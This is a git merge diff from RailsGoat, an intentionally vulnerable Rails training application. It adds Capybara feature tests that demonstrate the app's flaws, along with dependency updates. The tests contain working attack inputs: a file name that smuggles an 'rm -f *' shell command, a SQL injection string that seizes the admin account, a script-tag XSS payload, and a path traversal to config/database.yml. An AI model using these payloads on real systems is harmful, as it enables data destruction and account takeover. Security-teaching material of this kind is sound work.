Merge pull request #47 from chrismo/capybara

Capybara added to demonstrate vulnerabilities.
This commit is contained in:
Ken Johnson
2013-09-27 18:53:51 -07:00
14 changed files with 220 additions and 265 deletions
+1
View File
@@ -6,3 +6,4 @@
.elasticbeanstalk/ .elasticbeanstalk/
.DS_Store .DS_Store
/public/data /public/data
*.png
+4 -1
View File
@@ -25,6 +25,9 @@ end
gem 'gauntlt' gem 'gauntlt'
group :development, :test do group :development, :test do
gem 'capybara'
gem 'database_cleaner'
gem 'poltergeist'
gem 'rspec-rails' gem 'rspec-rails'
end end
@@ -56,7 +59,7 @@ gem 'jquery-rails'
gem 'powder' gem 'powder'
gem 'aruba' gem 'aruba'
gem 'minitest', '~> 4.0', :require=> "minitest/autorun" #gem 'minitest', '~> 4.0', :require=> "minitest/autorun"
#gem 'minitest' #gem 'minitest'
+19 -2
View File
@@ -48,8 +48,15 @@ GEM
builder (3.0.4) builder (3.0.4)
bundler-audit (0.1.2) bundler-audit (0.1.2)
bundler (~> 1.2) bundler (~> 1.2)
capybara (2.1.0)
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.3.9) childprocess (0.3.9)
ffi (~> 1.0, >= 1.0.11) ffi (~> 1.0, >= 1.0.11)
cliver (0.2.2)
coderay (1.0.9) coderay (1.0.9)
coffee-rails (3.2.2) coffee-rails (3.2.2)
coffee-script (>= 2.2.0) coffee-script (>= 2.2.0)
@@ -63,6 +70,7 @@ GEM
diff-lcs (>= 1.1.3) diff-lcs (>= 1.1.3)
gherkin (~> 2.12.0) gherkin (~> 2.12.0)
multi_json (~> 1.3) multi_json (~> 1.3)
database_cleaner (1.1.1)
diff-lcs (1.2.4) diff-lcs (1.2.4)
em-websocket (0.5.0) em-websocket (0.5.0)
eventmachine (>= 0.12.9) eventmachine (>= 0.12.9)
@@ -125,9 +133,13 @@ GEM
treetop (~> 1.4.8) treetop (~> 1.4.8)
method_source (0.8.1) method_source (0.8.1)
mime-types (1.22) mime-types (1.22)
minitest (4.7.5)
multi_json (1.7.2) multi_json (1.7.2)
nokogiri (1.5.10) nokogiri (1.5.10)
poltergeist (1.4.1)
capybara (~> 2.1.0)
cliver (~> 0.2.1)
multi_json (~> 1.0)
websocket-driver (>= 0.2.0)
polyglot (0.3.3) polyglot (0.3.3)
powder (0.2.0) powder (0.2.0)
thor (>= 0.11.5) thor (>= 0.11.5)
@@ -222,6 +234,9 @@ GEM
kgio (~> 2.6) kgio (~> 2.6)
rack rack
raindrops (~> 0.7) raindrops (~> 0.7)
websocket-driver (0.3.0)
xpath (2.0.0)
nokogiri (~> 1.3)
PLATFORMS PLATFORMS
ruby ruby
@@ -231,7 +246,9 @@ DEPENDENCIES
bcrypt-ruby bcrypt-ruby
brakeman brakeman
bundler-audit bundler-audit
capybara
coffee-rails (~> 3.2.1) coffee-rails (~> 3.2.1)
database_cleaner
execjs execjs
foreman foreman
gauntlt gauntlt
@@ -241,7 +258,7 @@ DEPENDENCIES
guard-shell guard-shell
jquery-fileupload-rails jquery-fileupload-rails
jquery-rails jquery-rails
minitest (~> 4.0) poltergeist
powder powder
pry pry
rack-livereload rack-livereload
-255
View File
@@ -1,255 +0,0 @@
GEM
remote: https://rubygems.org/
specs:
actionmailer (3.2.13)
actionpack (= 3.2.13)
mail (~> 2.5.3)
actionpack (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
builder (~> 3.0.0)
erubis (~> 2.7.0)
journey (~> 1.0.4)
rack (~> 1.4.5)
rack-cache (~> 1.2)
rack-test (~> 0.6.1)
sprockets (~> 2.2.1)
activemodel (3.2.13)
activesupport (= 3.2.13)
builder (~> 3.0.0)
activerecord (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activeresource (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
activesupport (3.2.13)
i18n (= 0.6.1)
multi_json (~> 1.0)
arel (3.0.2)
aruba (0.5.3)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt-ruby (3.0.1)
brakeman (1.9.5)
erubis (~> 2.6)
fastercsv (~> 1.5)
haml (>= 3.0, < 5.0)
highline (~> 1.6)
multi_json (~> 1.2)
ruby2ruby (= 2.0.3)
ruby_parser (~> 3.1.1)
sass (~> 3.0)
slim (~> 1.3.6)
terminal-table (~> 1.4)
builder (3.0.4)
bundler-audit (0.1.2)
bundler (~> 1.2)
childprocess (0.3.9)
ffi (~> 1.0, >= 1.0.11)
coderay (1.0.9)
coffee-rails (3.2.2)
coffee-script (>= 2.2.0)
railties (~> 3.2.0)
coffee-script (2.2.0)
coffee-script-source
execjs
coffee-script-source (1.6.2)
cucumber (1.3.2)
builder (>= 2.1.2)
diff-lcs (>= 1.1.3)
gherkin (~> 2.12.0)
multi_json (~> 1.3)
diff-lcs (1.2.4)
em-websocket (0.5.0)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.5.3)
erubis (2.7.0)
eventmachine (1.0.3)
execjs (1.4.0)
multi_json (~> 1.0)
fastercsv (1.5.5)
ffi (1.9.0)
foreman (0.62.0)
thor (>= 0.13.6)
formatador (0.2.4)
gauntlt (1.0.5)
cucumber
nokogiri (~> 1.5.0)
trollop
gherkin (2.12.0)
multi_json (~> 1.3)
guard (1.7.0)
formatador (>= 0.2.4)
listen (>= 0.6.0)
lumberjack (>= 1.0.2)
pry (>= 0.9.10)
thor (>= 0.14.6)
guard-brakeman (0.6.3)
brakeman (>= 1.8.2)
guard (>= 1.1.0)
guard-livereload (1.3.0)
em-websocket (>= 0.2.0)
guard (>= 1.5.0)
multi_json (~> 1.0)
guard-rspec (2.5.4)
guard (>= 1.1)
rspec (~> 2.11)
guard-shell (0.5.1)
guard (>= 1.1.0)
haml (4.0.2)
tilt
hashr (0.0.22)
highline (1.6.16)
hike (1.2.2)
http_parser.rb (0.5.3)
i18n (0.6.1)
journey (1.0.4)
jquery-fileupload-rails (0.4.1)
actionpack (>= 3.1)
railties (>= 3.1)
jquery-rails (3.0.1)
railties (>= 3.0, < 5.0)
thor (>= 0.14, < 2.0)
json (1.7.7)
kgio (2.8.0)
libv8 (3.16.14.3)
listen (0.7.3)
lumberjack (1.0.3)
mail (2.5.3)
i18n (>= 0.4.0)
mime-types (~> 1.16)
treetop (~> 1.4.8)
method_source (0.8.1)
mime-types (1.22)
minitest (4.7.5)
multi_json (1.7.2)
nokogiri (1.5.10)
polyglot (0.3.3)
powder (0.2.0)
thor (>= 0.11.5)
pry (0.9.12)
coderay (~> 1.0.5)
method_source (~> 0.8)
slop (~> 3.4)
rack (1.4.5)
rack-cache (1.2)
rack (>= 0.4)
rack-livereload (0.3.15)
rack
rack-ssl (1.3.3)
rack
rack-test (0.6.2)
rack (>= 1.0)
rails (3.2.13)
actionmailer (= 3.2.13)
actionpack (= 3.2.13)
activerecord (= 3.2.13)
activeresource (= 3.2.13)
activesupport (= 3.2.13)
bundler (~> 1.0)
railties (= 3.2.13)
railties (3.2.13)
actionpack (= 3.2.13)
activesupport (= 3.2.13)
rack-ssl (~> 1.3.2)
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
raindrops (0.10.0)
rake (10.0.4)
rb-fsevent (0.9.3)
rdoc (3.12.2)
json (~> 1.4)
ref (1.0.5)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.2)
rspec-expectations (2.14.0)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.14.1)
rspec-rails (2.14.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
ruby2ruby (2.0.3)
ruby_parser (~> 3.1)
sexp_processor (~> 4.0)
ruby_parser (3.1.3)
sexp_processor (~> 4.1)
sass (3.2.7)
sass-rails (3.2.6)
railties (~> 3.2.0)
sass (>= 3.1.10)
tilt (~> 1.3)
sexp_processor (4.2.1)
slim (1.3.8)
temple (~> 0.6.3)
tilt (~> 1.3.3)
slop (3.4.4)
sprockets (2.2.2)
hike (~> 1.2)
multi_json (~> 1.0)
rack (~> 1.0)
tilt (~> 1.1, != 1.3.0)
sqlite3 (1.3.7)
temple (0.6.3)
terminal-table (1.4.5)
therubyracer (0.12.0)
libv8 (~> 3.16.14.0)
ref
thor (0.18.1)
tilt (1.3.7)
travis-lint (1.7.0)
hashr (~> 0.0.22)
treetop (1.4.12)
polyglot
polyglot (>= 0.3.1)
trollop (2.0)
tzinfo (0.3.37)
uglifier (2.0.1)
execjs (>= 0.3.0)
multi_json (~> 1.0, >= 1.0.2)
unicorn (4.6.2)
kgio (~> 2.6)
rack
raindrops (~> 0.7)
PLATFORMS
ruby
DEPENDENCIES
aruba
bcrypt-ruby
brakeman
bundler-audit
coffee-rails (~> 3.2.1)
execjs
foreman
gauntlt
guard-brakeman
guard-livereload
guard-rspec
guard-shell
jquery-fileupload-rails
jquery-rails
minitest (~> 4.0)
powder
rack-livereload
rails (= 3.2.13)
rb-fsevent
rspec-rails
sass-rails (~> 3.2.3)
sqlite3
therubyracer
travis-lint
uglifier (>= 1.0.3)
unicorn
+1 -4
View File
@@ -9,10 +9,7 @@ class UsersController < ApplicationController
def create def create
user = User.new(params[:user]) user = User.new(params[:user])
user.build_retirement(POPULATE_RETIREMENTS.shuffle.first) user.build_benefits_data
user.build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
user.build_work_info(POPULATE_WORK_INFO.shuffle.first)
user.performance.build(POPULATE_PERFORMANCE.shuffle.first)
if user.save if user.save
session[:user_id] = user.user_id session[:user_id] = user.user_id
redirect_to home_dashboard_index_path redirect_to home_dashboard_index_path
+9 -2
View File
@@ -16,8 +16,15 @@ class User < ActiveRecord::Base
has_one :paid_time_off, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy has_one :paid_time_off, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
has_one :work_info, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy has_one :work_info, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
has_many :performance, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy has_many :performance, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy
def build_benefits_data
build_retirement(POPULATE_RETIREMENTS.shuffle.first)
build_paid_time_off(POPULATE_PAID_TIME_OFF.shuffle.first).schedule.build(POPULATE_SCHEDULE.shuffle.first)
build_work_info(POPULATE_WORK_INFO.shuffle.first)
performance.build(POPULATE_PERFORMANCE.shuffle.first)
end
private private
def full_name def full_name
+25
View File
@@ -0,0 +1,25 @@
require 'spec_helper'
feature 'broken_auth' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'TMI during login', :js => true do
visit '/'
within('.signup') do
fill_in 'email', :with => @normal_user.email + 'not'
fill_in 'password', :with => @normal_user.clear_password
end
click_on 'Login'
find('div#flash_notice').text.should == "#{@normal_user.email}not doesn't exist!"
within('.signup') do
fill_in 'email', :with => @normal_user.email
fill_in 'password', :with => @normal_user.clear_password + 'not'
end
click_on 'Login'
find('div#flash_notice').text.should == 'Incorrect Password!'
end
end
+30
View File
@@ -0,0 +1,30 @@
require 'spec_helper'
require 'tmpdir'
feature 'command injection' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'injection attack on file upload', :js => true do
login(@normal_user)
legit_file = File.join(Rails.root, 'public', 'data', 'legit.txt')
File.open(legit_file, 'w') { |f| f.puts 'totes legit' }
visit "/users/#{@normal_user.user_id}/benefit_forms"
Dir.mktmpdir do |dir|
hackety_file = File.join(dir, '; cd public && cd data && rm -f * ;')
File.open(hackety_file, 'w') { |f| f.print 'mwahaha' }
within('.new_benefits') do
attach_file 'benefits_upload', hackety_file
find(:xpath, "//input[@id='benefits_backup']", :visible => false).set 'true'
end
save_screenshot('screenshot.before.upload.png')
click_on 'Start Upload'
end
save_screenshot('screenshot.after.upload.png')
File.exists?(legit_file).should be_false
end
end
+29
View File
@@ -0,0 +1,29 @@
require 'spec_helper'
feature 'insecure direct object reference' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'download production configuration' do
login(@normal_user)
visit "/users/#{@normal_user.user_id}/benefit_forms"
download_url = first('.widget-body a')[:href]
visit download_url.sub(/name=(.*?)&/, 'name=../../config/database.yml&')
page.status_code.should == 200
page.response_headers['Content-Disposition'].should include('database.yml')
page.response_headers['Content-Length'].should == '576'
end
scenario 'view any user work_info' do
login(@normal_user)
@normal_user.user_id.should_not == 2
visit '/users/2/work_info'
first('td').text.should == 'Jack Mannino'
end
end
+30
View File
@@ -0,0 +1,30 @@
require 'spec_helper'
feature 'sql injection' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
@admin_user = User.where("admin='t'").first
end
scenario 'injection attack on account_settings' do
@admin_user.admin.should be_true
login(@normal_user)
visit "/users/#{@normal_user.user_id}/account_settings"
within('#account_edit') do
fill_in 'Email', :with => 'joe.admin@schmoe.com'
fill_in 'user_password', :with => 'hacketyhack'
fill_in 'user_password_confirmation', :with => 'hacketyhack'
# this is a hidden field, so cannot use fill_in to access it.
find(:xpath, "//input[@id='user_user_id']", :visible => false).set "8' OR admin='t') --"
end
click_on 'Submit'
@admin_user = User.where("admin='t'").first
@admin_user.email.should == 'joe.admin@schmoe.com'
@admin_user.admin.should == true
end
end
+30
View File
@@ -0,0 +1,30 @@
require 'spec_helper'
feature 'xss' do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario 'xss attack on account_settings', :js => true do
login @normal_user
visit "/users/#{@normal_user.user_id}/account_settings"
within('#account_edit') do
fill_in 'First name', :with => "B<script>$(function() { $('form.button_to input.btn.btn-primary').val('RailsGoat h4x0r3d') } )</script>"
# password gets screwed up if you don't re-submit - need to fix
fill_in 'user_password', :with => @normal_user.clear_password
fill_in 'user_password_confirmation', :with => @normal_user.clear_password
end
click_on 'Submit'
save_screenshot('screenshot.post.submit.png')
visit '/'
find('form.button_to input.btn.btn-primary').value.should == 'RailsGoat h4x0r3d'
# might be nice to demonstrate posting cookie contents or somesuch, but
# this at least shows the vulnerability still exists.
end
end
+16 -1
View File
@@ -3,6 +3,9 @@ ENV["RAILS_ENV"] ||= 'test'
require File.expand_path("../../config/environment", __FILE__) require File.expand_path("../../config/environment", __FILE__)
require 'rspec/rails' require 'rspec/rails'
require 'rspec/autorun' require 'rspec/autorun'
require 'capybara/rails'
require 'capybara/poltergeist'
require 'database_cleaner'
# Requires supporting ruby files with custom matchers and macros, etc, # Requires supporting ruby files with custom matchers and macros, etc,
# in spec/support/ and its subdirectories. # in spec/support/ and its subdirectories.
@@ -23,7 +26,7 @@ RSpec.configure do |config|
# If you're not using ActiveRecord, or you'd prefer not to run each of your # If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false # examples within a transaction, remove the following line or assign false
# instead of true. # instead of true.
config.use_transactional_fixtures = true config.use_transactional_fixtures = false # Capybara Poltergeist driver requires this
# If true, the base class of anonymous controllers will be inferred # If true, the base class of anonymous controllers will be inferred
# automatically. This will be the default behavior in future versions of # automatically. This will be the default behavior in future versions of
@@ -35,4 +38,16 @@ RSpec.configure do |config|
# the seed, which is printed after each run. # the seed, which is printed after each run.
# --seed 1234 # --seed 1234
config.order = "random" config.order = "random"
config.before(:each) do
DatabaseCleaner.start
end
config.after(:each) do
DatabaseCleaner.clean
end
end end
Capybara.javascript_driver = :poltergeist
DatabaseCleaner.strategy = :truncation
+8
View File
@@ -0,0 +1,8 @@
def login(user)
visit '/'
within('.signup') do
fill_in 'email', :with => user.email
fill_in 'password', :with => user.clear_password
end
click_on 'Login'
end
+18
View File
@@ -0,0 +1,18 @@
class UserFixture
def self.reset_all_users
User.delete_all
Rails.application.load_seed
end
def self.normal_user
password = 'aoeuaoeu'
user = User.new(:first_name => 'Joe', :last_name => 'Schmoe',
:email => 'joe@schmoe.com', :password => password, :password_confirmation => password)
def user.clear_password
'aoeuaoeu'
end
user.build_benefits_data
user.save!
user
end
end